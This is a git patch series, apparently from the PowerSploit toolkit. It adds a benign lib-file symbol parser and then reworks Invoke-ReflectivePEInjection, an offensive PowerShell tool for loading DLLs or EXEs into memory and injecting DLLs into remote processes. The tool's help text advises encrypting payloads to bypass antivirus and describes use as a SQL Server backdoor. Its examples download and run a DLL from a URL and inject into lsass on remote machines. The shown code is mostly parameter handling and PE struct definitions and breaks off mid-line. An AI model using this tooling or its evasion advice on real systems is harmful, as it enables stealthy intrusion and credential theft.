$FileStream.Dispose() + return + } + + # Open a BinaryReader object for the lib file + $BinaryReader = New-Object IO.BinaryReader($FileStream) + + $ArchiveStart = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes(8)) + + if ($ArchiveStart -ne $IMAGE_ARCHIVE_START) + { + Write-Error "$($LibFileName) does not contain a valid lib header." + Dispose-Objects + return + } + + # Parse the first archive header + $ArchiveHeader = New-Object COFF.IMAGE_ARCHIVE_MEMBER_HEADER($BinaryReader) + + if ($ArchiveHeader.EndHeader -ne $IMAGE_ARCHIVE_END) + { + Write-Error "$($LibFileName) does not contain a valid lib header." + Dispose-Objects + return + } + + # Check for the existence of symbols + if ($ArchiveHeader.Size -eq 0) + { + Write-Warning "$($LibFileName) contains no symbols." + Dispose-Objects + return + } + + $NumberOfSymbols = $BinaryReader.ReadBytes(4) + + # The offsets in the first archive header of a Microsoft lib file are stored in big-endian format + if ([BitConverter]::IsLittleEndian) + { + [Array]::Reverse($NumberOfSymbols) + } + + $NumberOfSymbols = [BitConverter]::ToUInt32($NumberOfSymbols, 0) + + $SymbolOffsets = New-Object UInt32[]($NumberOfSymbols) + + foreach ($Offset in 0..($SymbolOffsets.Length - 1)) + { + $SymbolOffset = $BinaryReader.ReadBytes(4) + + if ([BitConverter]::IsLittleEndian) + { + [Array]::Reverse($SymbolOffset) + } + + $SymbolOffsets[$Offset] = [BitConverter]::ToUInt32($SymbolOffset, 0) + } + + $SymbolStringLength = $ArchiveHeader.Size + $IMAGE_SIZEOF_LIB_HDR - $FileStream.Position - 1 + # $SymbolStrings = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes($SymbolStringLength)).Split([Char] 0) + + # Write-Output $SymbolStrings + + # There will be many duplicate offset entries. Remove them. + $SymbolOffsetsSorted = $SymbolOffsets | Sort-Object -Unique + + $SymbolOffsetsSorted | ForEach-Object { + # Seek to the each repective offset in the file + $FileStream.Seek($_, 'Begin') | Out-Null + + $ArchiveHeader = New-Object COFF.IMAGE_ARCHIVE_MEMBER_HEADER($BinaryReader) + + # This is not a true COFF header. It's the same size and mostly resembles a standard COFF header + # but Microsoft placed a marker (0xFFFF) in the first WORD to indicate that the 'object file' + # consists solely of the module name and symbol. + $CoffHeader = New-Object COFF.HEADER($BinaryReader) + + # Check for 0xFFFF flag value + if ($CoffHeader.NumberOfSections -eq [UInt16]::MaxValue) + { + # Get the total length of the module and symbol name + $SymbolStringLength = $CoffHeader.NumberOfSymbols + $Symbols = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes($SymbolStringLength)).Split([Char] 0) + + $DecoratedSymbol = $Symbols[0] + $UndecoratedSymbol = '' + + # Default to a 'C' type symbol unless it starts with a '?' + $SymbolType = 'C' + + # Is the symbol a C++ type? + if ($DecoratedSymbol.StartsWith('?')) + { + $StrBuilder = New-Object Text.Stringbuilder(512) + # Magically undecorated the convoluted C++ symbol into a proper C++ function definition + [COFF.Functions]::UnDecorateSymbolName($DecoratedSymbol, $StrBuilder, $StrBuilder.Capacity, 0) | Out-Null + $UndecoratedSymbol = $StrBuilder.ToString() + $SymbolType = 'C++' + } + else + { + $UndecoratedSymbol = $DecoratedSymbol.Substring(1).Split('@')[0] + } + + $SymInfo = @{ + DecoratedName = $DecoratedSymbol + UndecoratedName = $UndecoratedSymbol + Module = $Symbols[1] + SymbolType = $SymbolType + } + + $ParsedSymbol = New-Object PSObject -Property $SymInfo + $ParsedSymbol.PSObject.TypeNames[0] = 'COFF.SymbolInfo' + + Write-Output $ParsedSymbol + } + } + + # Close file and binaryreader objects + Dispose-Objects + } + } + + END {} +} \ No newline at end of file diff --git a/PETools/PETools.psd1 b/PETools/PETools.psd1 index d4143653..28a60b91 100644 --- a/PETools/PETools.psd1 +++ b/PETools/PETools.psd1 @@ -52,7 +52,7 @@ PowerShellVersion = '2.0' # TypesToProcess = @() # Format files (.ps1xml) to be loaded when importing this module -FormatsToProcess = 'PETools.format.ps1xml', 'Get-ObjDump.format.ps1xml' +FormatsToProcess = 'PETools.format.ps1xml', 'Get-ObjDump.format.ps1xml', 'Get-LibSymbols.format.ps1xml' # Modules to import as nested modules of the module specified in RootModule/ModuleToProcess # NestedModules = @() @@ -74,7 +74,8 @@ ModuleList = @(@{ModuleName = 'PETools'; ModuleVersion = '1.0.0.0'; GUID = 'd150 # List of all files packaged with this module FileList = 'PETools.psm1', 'PETools.psd1', 'PETools.format.ps1xml', 'Get-DllLoadPath.ps1', - 'Get-PEHeader.ps1', 'Get-ObjDump.ps1', 'Get-ObjDump.format.ps1xml', 'Usage.md' + 'Get-PEHeader.ps1', 'Get-ObjDump.ps1', 'Get-ObjDump.format.ps1xml', 'Get-LibSymbols.ps1', + 'Usage.md' # Private data to pass to the module specified in RootModule/ModuleToProcess # PrivateData = '' diff --git a/README.md b/README.md index 5141808e..e3265199 100644 --- a/README.md +++ b/README.md @@ -72,6 +72,10 @@ An in-memory and on-disk PE parsing utility. Displays information about one or more Windows object files. +#### `Get-LibSymbols` + +Displays symbolic information from Windows lib files. + #### `Get-DllLoadPath` Returns the path from which Windows will load a Dll for the given executable. From ec39ee21130355e025c757ff50d88dd2e7c55a8e Mon Sep 17 00:00:00 2001 From: mattifestation Date: Mon, 30 Sep 2013 06:43:03 -0400 Subject: [PATCH 012/382] Fixed minor logic bug in C type undecorated symbols --- PETools/Get-LibSymbols.ps1 | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/PETools/Get-LibSymbols.ps1 b/PETools/Get-LibSymbols.ps1 index 79dede5c..414454f4 100644 --- a/PETools/Get-LibSymbols.ps1 +++ b/PETools/Get-LibSymbols.ps1 @@ -249,7 +249,14 @@ } else { - $UndecoratedSymbol = $DecoratedSymbol.Substring(1).Split('@')[0] + if ($DecoratedSymbol[0] -eq '_' -or $DecoratedSymbol[0] -eq '@') + { + $UndecoratedSymbol = $DecoratedSymbol.Substring(1).Split('@')[0] + } + else + { + $UndecoratedSymbol = $DecoratedSymbol.Split('@')[0] + } } $SymInfo = @{ From 1291abdae3406112c41a745d9be7f02f7134cac0 Mon Sep 17 00:00:00 2001 From: clymb3r Date: Mon, 30 Sep 2013 22:32:57 -0700 Subject: [PATCH 013/382] Fixes for Windows 8.1/.NET 4.5 .NET 4.5 introduced breaking changes in the way Marshalling works. Added a fix so ReflectivePEInjection works with Windows 8.1/.NET4.5. --- .../Invoke-ReflectivePEInjection.ps1 | 5168 ++++++++--------- 1 file changed, 2575 insertions(+), 2593 deletions(-) diff --git a/CodeExecution/Invoke-ReflectivePEInjection.ps1 b/CodeExecution/Invoke-ReflectivePEInjection.ps1 index a9772e20..6e18bff8 100644 --- a/CodeExecution/Invoke-ReflectivePEInjection.ps1 +++ b/CodeExecution/Invoke-ReflectivePEInjection.ps1 @@ -3,19 +3,9 @@ <# .SYNOPSIS -Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. - -PowerSploit Function: Invoke-ReflectivePEInjection -Author: Joe Bialek, Twitter: @JosephBialek -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process, or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints, -please lead the Notes section (GENERAL NOTS) for information on how to use them. +please lead the Notes section (GENERAL NOTES) for information on how to use them. 1.)Reflectively loads a DLL or EXE in to memory of the Powershell process. @@ -35,7 +25,19 @@ remote process. While this script provides functionality to specify a file to load from disk or from a URL, these are more for demo purposes. The way I'd recommend using the script is to create a byte array containing the file you'd like to reflectively load, and hardcode that byte array in to the script. One advantage of doing this is you can encrypt the byte array and decrypt it in memory, which will -bypass A/V. Another advantage is you won't be making web requests. +bypass A/V. Another advantage is you won't be making web requests. The script can also load files from SQL Server and be used as a SQL Server backdoor. Please see the Casaba +blog linked below (thanks to whitey). + +PowerSploit Function: Invoke-ReflectivePEInjection +Author: Joe Bialek, Twitter: @JosephBialek +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None +Version: 1.0 + +.DESCRIPTION + +Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. .PARAMETER PEPath @@ -55,6 +57,10 @@ Optional, the return type of the function being called in the DLL. Default: Void Options: String, WString, Void. See notes for more information. IMPORTANT: For DLLs being loaded remotely, only Void is supported. +.PARAMETER ExeArgs + +Optional, arguments to pass to the executable being reflectively loaded. + .PARAMETER ProcName Optional, the name of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this. @@ -62,70 +68,46 @@ Optional, the name of the remote process to inject the DLL in to. If not injecti .PARAMETER ProcId Optional, the process ID of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this. - -.PARAMETER ExeArgs - -Optional, command-line arguments to pass to the exe. - + .EXAMPLE -Invoke-ReflectivePEInjection -PEUrl http://yoursite.com/DemoDLL.dll -FuncReturnType WString - -Description ------------ Load DemoDLL from a URL and run the exported function WStringFunc on the current system, print the wchar_t* returned by WStringFunc(). Note that the file name on the website can be any file extension. +Invoke-ReflectivePEInjection -PEUrl http://yoursite.com/DemoDLL.dll -FuncReturnType WString .EXAMPLE -Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName Target.local - -Description ------------ Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc(). +Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName Target.local .EXAMPLE -Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName (Get-Content targetlist.txt) - -Description ------------ Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print -the wchar_t* returned by WStringFunc() from all the computers. + the wchar_t* returned by WStringFunc() from all the computers. +Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName (Get-Content targetlist.txt) .EXAMPLE -Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" - -Description ------------ Load DemoEXE and run it locally. +Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" .EXAMPLE -Invoke-ReflectivePEInjection -PEPath DemoDLL_RemoteProcess.dll -ProcName lsass -ComputerName Target.Local - -Description ------------ Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer. +Invoke-ReflectivePEInjection -PEPath DemoDLL_RemoteProcess.dll -ProcName lsass -ComputerName Target.Local .NOTES - GENERAL NOTES: - The script has 3 basic sets of functionality: - 1.) Reflectively load a DLL in to the PowerShell process -Can return DLL output to user when run remotely or locally. -Cleans up memory in the PS process once the DLL finishes executing. -Great for running pentest tools on remote computers without triggering process monitoring alerts. -By default, takes 3 function names, see below (DLL LOADING NOTES) for more info. - 2.) Reflectively load an EXE in to the PowerShell process. -Can NOT return EXE output to user when run remotely. If remote output is needed, you must use a DLL. CAN return EXE output if run locally. -Cleans up memory in the PS process once the DLL finishes executing. -Great for running existing pentest tools which are EXE's without triggering process monitoring alerts. - 3.) Reflectively inject a DLL in to a remote process. -Can NOT return DLL output to the user when run remotely OR locally. -Does NOT clean up memory in the remote process if/when DLL finishes execution. @@ -133,6 +115,7 @@ The script has 3 basic sets of functionality: -Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded. + DLL LOADING NOTES: PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output. @@ -170,2692 +153,2691 @@ Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-Refl .LINK -http://clymb3r.wordpress.com/ - -Master Github repo: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ - Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ +Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/ #> - [CmdletBinding(DefaultParameterSetName="WebFile")] - Param( - [Parameter(ParameterSetName = "LocalFile", Position = 0, Mandatory = $true)] - [String] - $PEPath, +[CmdletBinding(DefaultParameterSetName="WebFile")] +Param( + [Parameter(ParameterSetName = "LocalFile", Position = 0, Mandatory = $true)] + [String] + $PEPath, - [Parameter(ParameterSetName = "WebFile", Position = 0, Mandatory = $true)] - [Uri] - $PEUrl, + [Parameter(ParameterSetName = "WebFile", Position = 0, Mandatory = $true)] + [Uri] + $PEUrl, - [Parameter(Position = 1)] - [String[]] - $ComputerName, + [Parameter(Position = 1)] + [String[]] + $ComputerName, - [Parameter(Position = 2)] - [ValidateSet( 'WString', 'String', 'Void' )] - [String] - $FuncReturnType = 'Void', + [Parameter(Position = 2)] + [ValidateSet( 'WString', 'String', 'Void' )] + [String] + $FuncReturnType = 'Void', - [Parameter(Position = 3)] - [String] - $ExeArgs, + [Parameter(Position = 3)] + [String] + $ExeArgs, - [Parameter(Position = 4)] - [Int32] - $ProcId, + [Parameter(Position = 4)] + [Int32] + $ProcId, - [Parameter(Position = 5)] - [String] - $ProcName - ) + [Parameter(Position = 5)] + [String] + $ProcName +) - Set-StrictMode -Version 2 +Set-StrictMode -Version 2 - $RemoteScriptBlock = { - [CmdletBinding()] - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Byte[]] - $PEBytes, +$RemoteScriptBlock = { + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, - [Parameter(Position = 1, Mandatory = $false)] - [String] - $FuncReturnType, + [Parameter(Position = 1, Mandatory = $false)] + [String] + $FuncReturnType, - [Parameter(Position = 2, Mandatory = $false)] - [Int32] - $ProcId, - - [Parameter(Position = 3, Mandatory = $false)] - [String] - $ProcName - ) + [Parameter(Position = 2, Mandatory = $false)] + [Int32] + $ProcId, + + [Parameter(Position = 3, Mandatory = $false)] + [String] + $ProcName + ) - ################################### - ########## Win32 Stuff ########## - ################################### - Function Get-Win32Types - { - $Win32Types = New-Object System.Object - - #Define all the structures/enums that will be used - # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html - $Domain = [AppDomain]::CurrentDomain - $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) - $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] - - - ############ ENUM ############ - #Enum MachineType - $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) - $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null - $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null - $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null - $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null - $MachineType = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType - - #Enum MagicType - $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) - $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null - $MagicType = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType - - #Enum SubSystemType - $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null - $SubSystemType = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType - - #Enum DllCharacteristicsType - $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) - $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null - $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null - $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null - $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null - $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null - $DllCharacteristicsType = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType - - ########### STRUCT ########### - #Struct IMAGE_DATA_DIRECTORY - $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) - ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null - ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null - $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY - - #Struct IMAGE_FILE_HEADER - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) - $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null - $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER - - #Struct IMAGE_OPTIONAL_HEADER64 - $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) - ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null - ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null - ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null - ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null - ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null - ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null - ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null - ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null - ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null - ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null - ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null - ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null - ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null - ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null - ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null - ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null - ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null - ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null - ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null - ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null - ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null - ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null - ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null - ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null - ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null - ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null - ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null - ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null - ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null - ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null - ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null - ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null - ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null - ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null - ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null - ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null - ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null - ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null - ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null - ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null - ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null - ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null - ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null - ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null - ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null - $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 - - #Struct IMAGE_OPTIONAL_HEADER32 - $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) - ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null - ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null - ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null - ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null - ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null - ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null - ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null - ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null - ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null - ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null - ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null - ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null - ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null - ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null - ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null - ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null - ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null - ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null - ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null - ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null - ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null - ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null - ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null - ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null - ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null - ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null - ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null - ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null - ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null - ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null - ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 